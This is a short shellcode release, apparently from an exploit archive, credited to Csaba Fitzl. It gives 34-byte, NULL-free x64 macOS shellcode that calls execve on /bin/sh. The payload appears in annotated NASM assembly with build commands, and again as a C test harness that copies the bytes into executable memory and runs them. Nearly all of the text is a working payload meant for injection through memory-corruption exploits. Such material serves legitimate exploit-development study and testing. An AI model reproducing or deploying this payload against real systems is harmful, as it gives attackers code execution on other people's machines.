[*] Author: Csaba Fitzl, @theevilbit [*] Tested on OS X 10.10.5 [*] OS X x64 /bin/sh shellcode, NULL byte free, 34 bytes [*] Assembly version [*] binsh-shellcode.asm [*] ./nasm -f macho64 binsh-shellcode.asm [*] ld -macosx_version_min 10.7.0 -o binsh-shellcode binsh-shellcode.o ------------------------------------------------------------------------------- BITS 64 global start section .text start: xor rsi,rsi ;zero out RSI push rsi ;push NULL on stack mov rdi, 0x68732f6e69622f2f ;mov //bin/sh string to RDI (reverse) push rdi ;push rdi to the stack mov rdi, rsp ;store RSP (points to the command string) in RDI xor rdx, rdx ;zero out RDX ;store syscall number on RAX xor rax,rax ;zero out RAX mov al,2 ;put 2 to AL -> RAX = 0x0000000000000002 ror rax, 0x28 ;rotate the 2 -> RAX = 0x0000000002000000 mov al,0x3b ;move 3b to AL (execve SYSCALL#) -> RAX = 0x000000000200003b syscall ;trigger syscall ------------------------------------------------------------------------------- [*] C version [*] Get the hex opcodes from the object file: otool -t binsh-shellcode.o [*] binsh-shellcode.c [*] Compile: gcc binsh-shellcode.c -o sc [*] Run: ./sc ------------------------------------------------------------------------------- #include #include #include #include int (*sc)(); char shellcode[] = "\x48\x31\xf6\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\x48\x31\xc0\xb0\x02\x48\xc1\xc8\x28\xb0\x3b\x0f\x05"; int main(int argc, char **argv) { void *ptr = mmap(0, 0x22, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0); if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } memcpy(ptr, shellcode, sizeof(shellcode)); sc = ptr; sc(); return 0; } -------------------------------------------------------------------------------